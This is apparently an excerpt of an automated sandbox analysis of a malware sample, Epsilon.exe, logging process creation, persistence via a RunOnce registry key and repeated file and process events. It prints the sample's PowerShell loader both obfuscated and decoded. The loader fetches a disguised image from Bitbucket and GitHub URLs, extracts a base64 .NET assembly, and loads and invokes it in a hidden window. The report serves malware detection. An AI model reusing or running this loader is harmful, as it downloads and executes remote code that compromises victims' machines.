e$$g$C0$ZwB0$C$$J$Bz$HQ$YQBy$HQ$SQBu$GQ$ZQB4$Ck$I$B7$C$$J$Bz$HQ$YQBy$HQ$SQBu$GQ$ZQB4$C$$Kw$9$C$$J$Bz$HQ$YQBy$HQ$RgBs$GE$Zw$u$Ew$ZQBu$Gc$d$Bo$Ds$I$$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$Bi$GE$cwBl$DY$N$BM$GU$bgBn$HQ$a$$g$D0$I$$k$GU$bgBk$Ek$bgBk$GU$e$$g$C0$I$$k$

Suspicious powershell command line found

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$dosigo = 'WwBO$GU$d$$u$FM$ZQBy$HY$aQBj$GU$U$Bv$Gk$bgB0$E0$YQBu$GE$ZwBl$HI$XQ$6$Do$UwBl$GM$dQBy$Gk$d$B5$F$$cgBv$HQ$bwBj$G8$b$$g$D0$I$Bb$E4$ZQB0$C4$UwBl$GM$dQBy$Gk$d$B5$F$$cgBv$HQ$bwBj$G8$b$BU$Hk$c$Bl$F0$Og$6$FQ$b$Bz$DE$Mg$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$ZgB1$G4$YwB0$Gk$bwBu$C$$R$Bv$Hc$bgBs$G8$YQBk$EQ$YQB0$GE$RgBy$G8$bQBM$Gk$bgBr$HM$I$B7$C$$c$Bh$HI$YQBt$C$$K$Bb$HM$d$By$Gk$bgBn$Fs$XQBd$CQ$b$Bp$G4$awBz$Ck$I$$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$B3$GU$YgBD$Gw$aQBl$G4$d$$g$D0$I$BO$GU$dw$t$E8$YgBq$GU$YwB0$C$$UwB5$HM$d$Bl$G0$LgBO$GU$d$$u$Fc$ZQBi$EM$b$Bp$GU$bgB0$Ds$I$$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$Bz$Gg$dQBm$GY$b$Bl$GQ$T$Bp$G4$awBz$C$$PQ$g$Ec$ZQB0$C0$UgBh$G4$Z$Bv$G0$I$$t$Ek$bgBw$HU$d$BP$GI$agBl$GM$d$$g$CQ$b$Bp$G4$awBz$C$$LQBD$G8$dQBu$HQ$I$$k$Gw$aQBu$Gs$cw$u$Ew$ZQBu$Gc$d$Bo$Ds$I$$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$ZgBv$HI$ZQBh$GM$a$$g$Cg$J$Bs$Gk$bgBr$C$$aQBu$C$$J$Bz$Gg$dQBm$GY$b$Bl$GQ$T$Bp$G4$awBz$Ck$I$B7$C$$d$By$Hk$I$B7$C$$cgBl$HQ$dQBy$G4$I$$k$Hc$ZQBi$EM$b$Bp$GU$bgB0$C4$R$Bv$Hc$bgBs$G8$YQBk$EQ$YQB0$GE$K$$k$Gw$aQBu$Gs$KQ$g$H0$I$Bj$GE$d$Bj$Gg$I$B7$C$$YwBv$G4$d$Bp$G4$dQBl$C$$fQ$g$H0$Ow$g$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$By$GU$d$B1$HI$bg$g$CQ$bgB1$Gw$b$$g$H0$Ow$g$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$k$Gw$aQBu$Gs$cw$g$D0$I$B$$Cg$JwBo$HQ$d$Bw$HM$Og$v$C8$YgBp$HQ$YgB1$GM$awBl$HQ$LgBv$HI$Zw$v$Go$a$Bn$GY$a$Bo$Gs$agBl$GU$Z$Bl$GY$Z$Bm$C8$bQBu$GI$dgBn$Go$Z$Bn$C8$Z$Bv$Hc$bgBs$G8$YQBk$HM$LwB0$GU$cwB0$C4$agBw$Gc$Pw$1$DM$Nw$2$DE$MQ$n$Cw$I$$n$Gg$d$B0$H$$cw$6$C8$LwBy$GE$dw$u$Gc$aQB0$Gg$dQBi$HU$cwBl$HI$YwBv$G4$d$Bl$G4$d$$u$GM$bwBt$C8$ZwBt$GU$Z$B1$HM$YQ$x$DM$NQ$v$G4$YQBu$G8$LwBy$GU$ZgBz$C8$a$Bl$GE$Z$Bz$C8$bQBh$Gk$bg$v$G4$ZQB3$F8$aQBt$Gc$MQ$y$DM$LgBq$H$$Zw$n$Ck$Ow$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$k$Gk$bQBh$Gc$ZQBC$Hk$d$Bl$HM$I$$9$C$$R$Bv$Hc$bgBs$G8$YQBk$EQ$YQB0$GE$RgBy$G8$bQBM$Gk$bgBr$HM$I$$k$Gw$aQBu$Gs$cw$7$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$Gk$Zg$g$Cg$J$Bp$G0$YQBn$GU$QgB5$HQ$ZQBz$C$$LQBu$GU$I$$k$G4$dQBs$Gw$KQ$g$Hs$I$$k$Gk$bQBh$Gc$ZQBU$GU$e$B0$C$$PQ$g$Fs$UwB5$HM$d$Bl$G0$LgBU$GU$e$B0$C4$RQBu$GM$bwBk$Gk$bgBn$F0$Og$6$FU$V$BG$Dg$LgBH$GU$d$BT$HQ$cgBp$G4$Zw$o$CQ$aQBt$GE$ZwBl$EI$eQB0$GU$cw$p$Ds$DQ$K$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$Bz$HQ$YQBy$HQ$RgBs$GE$Zw$g$D0$I$$n$Dw$P$BC$EE$UwBF$DY$N$Bf$FM$V$BB$FI$V$$+$D4$Jw$7$C$$J$Bl$G4$Z$BG$Gw$YQBn$C$$PQ$g$Cc$P$$8$EI$QQBT$EU$Ng$0$F8$RQBO$EQ$Pg$+$Cc$Ow$g$CQ$cwB0$GE$cgB0$Ek$bgBk$GU$e$$g$D0$I$$k$Gk$bQBh$Gc$ZQBU$GU$e$B0$C4$SQBu$GQ$ZQB4$E8$Zg$o$CQ$cwB0$GE$cgB0$EY$b$Bh$Gc$KQ$7$C$$DQ$K$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$CQ$ZQBu$GQ$SQBu$GQ$ZQB4$C$$PQ$g$CQ$aQBt$GE$ZwBl$FQ$ZQB4$HQ$LgBJ$G4$Z$Bl$Hg$TwBm$Cg$J$Bl$G4$Z$BG$Gw$YQBn$Ck$Ow$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$Bp$GY$I$$o$CQ$cwB0$GE$cgB0$Ek$bgBk$GU$e$$g$C0$ZwBl$C$$M$$g$C0$YQBu$GQ$I$$k$GU$bgBk$Ek$bgBk$GU$e$$g$C0$ZwB0$C$$J$Bz$HQ$YQBy$HQ$SQBu$GQ$ZQB4$Ck$I$B7$C$$J$Bz$HQ$YQBy$HQ$SQBu$GQ$ZQB4$C$$Kw$9$C$$J$Bz$HQ$YQBy$HQ$RgBs$GE$Zw$u$Ew$ZQBu$Gc$d$Bo$D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/jhgfhhkjeedefdf/mnbvgjdg/downloads/test.jpg?537611', 'https://raw.githubusercontent.com/gmedusa135/nano/refs/heads/main/new_img123.jpg'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $EncodedText =[Convert]::ToBase64String($Bytes); $commandBytes = [System.Convert]::FromBase64String($base64Command); $text = $EncodedText; $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $EncodedText =[Convert]::ToBase64String($Bytes); $compressedByteArray = Get-CompressedByteArray -byteArray $encText $type = $loadedAssembly.GetType('testpowershell.Hoaaaaaasdme'); $EncodedText =[Convert]::ToBase64String($Bytes); $method = $type.GetMethod('lfsgeddddddda').Invoke($null, [object[]] (' txt.hckSkpo/sdaolnwod/rwqewqfqwf/qretretr/gro.tekcubtib', '0', 'StartupName', 'Msbuild', '0'))}}" .exe -windowstyle hidden -exec
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$dosigo = 'WwBO$GU$d$$u$FM$ZQBy$HY$aQBj$GU$U$Bv$Gk$bgB0$E0$YQBu$GE$ZwBl$HI$XQ$6$Do$UwBl$GM$dQBy$Gk$d$B5$F$$cgBv$HQ$bwBj$G8$b$$g$D0$I$Bb$E4$ZQB0$C4$UwBl$GM$dQBy$Gk$d$B5$F$$cgBv$HQ$bwBj$G8$b$BU$Hk$c$Bl$F0$Og$6$FQ$b$Bz$DE$Mg$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$ZgB1$G4$YwB0$Gk$bwBu$C$$R$Bv$Hc$bgBs$G8$YQBk$EQ$YQB0$GE$RgBy$G8$bQBM$Gk$bgBr$HM$I$B7$C$$c$Bh$HI$YQBt$C$$K$Bb$HM$d$By$Gk$bgBn$Fs$XQBd$CQ$b$Bp$G4$awBz$Ck$I$$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$B3$GU$YgBD$Gw$aQBl$G4$d$$g$D0$I$BO$GU$dw$t$E8$YgBq$GU$YwB0$C$$UwB5$HM$d$Bl$G0$LgBO$GU$d$$u$Fc$ZQBi$EM$b$Bp$GU$bgB0$Ds$I$$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$Bz$Gg$dQBm$GY$b$Bl$GQ$T$Bp$G4$awBz$C$$PQ$g$Ec$ZQB0$C0$UgBh$G4$Z$Bv$G0$I$$t$Ek$bgBw$HU$d$BP$GI$agBl$GM$d$$g$CQ$b$Bp$G4$awBz$C$$LQBD$G8$dQBu$HQ$I$$k$Gw$aQBu$Gs$cw$u$Ew$ZQBu$Gc$d$Bo$Ds$I$$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$ZgBv$HI$ZQBh$GM$a$$g$Cg$J$Bs$Gk$bgBr$C$$aQBu$C$$J$Bz$Gg$dQBm$GY$b$Bl$GQ$T$Bp$G4$awBz$Ck$I$B7$C$$d$By$Hk$I$B7$C$$cgBl$HQ$dQBy$G4$I$$k$Hc$ZQBi$EM$b$Bp$GU$bgB0$C4$R$Bv$Hc$bgBs$G8$YQBk$EQ$YQB0$GE$K$$k$Gw$aQBu$Gs$KQ$g$H0$I$Bj$GE$d$Bj$Gg$I$B7$C$$YwBv$G4$d$Bp$G4$dQBl$C$$fQ$g$H0$Ow$g$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$By$GU$d$B1$HI$bg$g$CQ$bgB1$Gw$b$$g$H0$Ow$g$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$k$Gw$aQBu$Gs$cw$g$D0$I$B$$Cg$JwBo$HQ$d$Bw$HM$Og$v$C8$YgBp$HQ$YgB1$GM$awBl$HQ$LgBv$HI$Zw$v$Go$a$Bn$GY$a$Bo$Gs$agBl$GU$Z$Bl$GY$Z$Bm$C8$bQBu$GI$dgBn$Go$Z$Bn$C8$Z$Bv$Hc$bgBs$G8$YQBk$HM$LwB0$GU$cwB0$C4$agBw$Gc$Pw$1$DM$Nw$2$DE$MQ$n$Cw$I$$n$Gg$d$B0$H$$cw$6$C8$LwBy$GE$dw$u$Gc$aQB0$Gg$dQBi$HU$cwBl$HI$YwBv$G4$d$Bl$G4$d$$u$GM$bwBt$C8$ZwBt$GU$Z$B1$HM$YQ$x$DM$NQ$v$G4$YQBu$G8$LwBy$GU$ZgBz$C8$a$Bl$GE$Z$Bz$C8$bQBh$Gk$bg$v$G4$ZQB3$F8$aQBt$Gc$MQ$y$DM$LgBq$H$$Zw$n$Ck$Ow$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$k$Gk$bQBh$Gc$ZQBC$Hk$d$Bl$HM$I$$9$C$$R$Bv$Hc$bgBs$G8$YQBk$EQ$YQB0$GE$RgBy$G8$bQBM$Gk$bgBr$HM$I$$k$Gw$aQBu$Gs$cw$7$$0$Cg$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$Gk$Zg$g$Cg$J$Bp$G0$YQBn$GU$QgB5$HQ$ZQBz$C$$LQBu$GU$I$$k$G4$dQBs$Gw$KQ$g$Hs$I$$k$Gk$bQBh$Gc$ZQBU$GU$e$B0$C$$PQ$g$Fs$UwB5$HM$d$Bl$G0$LgBU$GU$e$B0$C4$RQBu$GM$bwBk$Gk$bgBn$F0$Og$6$FU$V$BG$Dg$LgBH$GU$d$BT$HQ$cgBp$G4$Zw$o$CQ$aQBt$GE$ZwBl$EI$eQB0$GU$cw$p$Ds$DQ$K$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$J$Bz$HQ$YQBy$HQ$RgBs$GE$Zw$g$D0$I$$n$Dw$P$BC$EE$UwBF$DY$N$Bf$FM$V$BB$FI$V$$+$D4$Jw$7$C$$J$Bl$G4$Z$BG$Gw$YQBn$C$$PQ$g$Cc$P$$8$EI$QQBT$EU$Ng$0$F8$RQBO$EQ$Pg$+$Cc$Ow$g$CQ$cwB0$GE$cgB0$Ek$bgBk$GU$e$$g$D0$I$$k$Gk$bQBh$Gc$ZQBU$GU$e$B0$C4$SQBu$GQ$ZQB4$E8$Zg$o$CQ$cwB0$GE$cgB0$EY$b$Bh$Gc$KQ$7$C$$DQ$K$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$CQ$ZQBu$GQ$SQBu$GQ$ZQB4$C$$PQ$g$CQ$aQBt$GE$ZwBl$FQ$ZQB4$HQ$LgBJ$G4$Z$Bl$Hg$TwBm$Cg$J$Bl$G4$Z$BG$Gw$YQBn$Ck$Ow$N$$o$I$$g$C$$I$$g$C$$I$$g$C$$I$$g$C$$I$Bp$GY$I$$o$CQ$cwB0$GE$cgB0$Ek$bgBk$GU$e$$g$C0$ZwBl$C$$M$$g$C0$YQBu$GQ$I$$k$GU$bgBk$Ek$bgBk$GU$e$$g$C0$ZwB0$C$$J$Bz$HQ$YQBy$HQ$SQBu$GQ$ZQB4$Ck$I$B7$C$$J$Bz$HQ$YQBy$HQ$SQBu$GQ$ZQB4$C$$Kw$9$C$$J$Bz$HQ$YQBy$HQ$RgBs$GE$Zw$u$Ew$ZQBu$Gc$d$Bo$D	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/jhgfhhkjeedefdf/mnbvgjdg/downloads/test.jpg?537611', 'https://raw.githubusercontent.com/gmedusa135/nano/refs/heads/main/new_img123.jpg'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $EncodedText =[Convert]::ToBase64String($Bytes); $commandBytes = [System.Convert]::FromBase64String($base64Command); $text = $EncodedText; $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $EncodedText =[Convert]::ToBase64String($Bytes); $compressedByteArray = Get-CompressedByteArray -byteArray $encText $type = $loadedAssembly.GetType('testpowershell.Hoaaaaaasdme'); $EncodedText =[Convert]::ToBase64String($Bytes); $method = $type.GetMethod('lfsgeddddddda').Invoke($null, [object[]] (' txt.hckSkpo/sdaolnwod/rwqewqfqwf/qretretr/gro.tekcubtib', '0', 'StartupName', 'Msbuild', '0'))}}" .exe -windowstyle hidden -exec	Jump to behavior

Source: Epsilon.exe

Static PE information: 0xAE1BC4F8 [Tue Jul 25 12:18:00 2062 UTC]

Source: C:\Users\user\Desktop\Epsilon.exe

Code function: 0_2_00007FF7378230EC GetSystemDirectoryA,LoadLibraryA,GetProcAddress,DecryptFileA,FreeLibrary,GetWindowsDirectoryA,SetCurrentDirectoryA,

0_2_00007FF7378230EC

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FF848D5171A pushfd ; ret		5_2_00007FF848D5172A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FF848D500BD pushad ; iretd		5_2_00007FF848D500C1

Source: C:\Users\user\Desktop\Epsilon.exe

Code function: 0_2_00007FF737821684 CompareStringA,GetFileAttributesA,LocalAlloc,GetPrivateProfileIntA,GetPrivateProfileStringA,GetShortPathNameA,CompareStringA,LocalAlloc,LocalAlloc,GetFileAttributesA,

0_2_00007FF737821684

Source: C:\Users\user\Desktop\Epsilon.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce wextract_cleanup0	Jump to behavior
Source: C:\Users\user\Desktop\Epsilon.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce wextract_cleanup0	Jump to behavior
Source: C:\Users\user\Desktop\Epsilon.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce wextract_cleanup0	Jump to behavior
Source: C:\Users\user\Desktop\Epsilon.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce wextract_cleanup0	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Loading BitLocker PowerShell Module

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
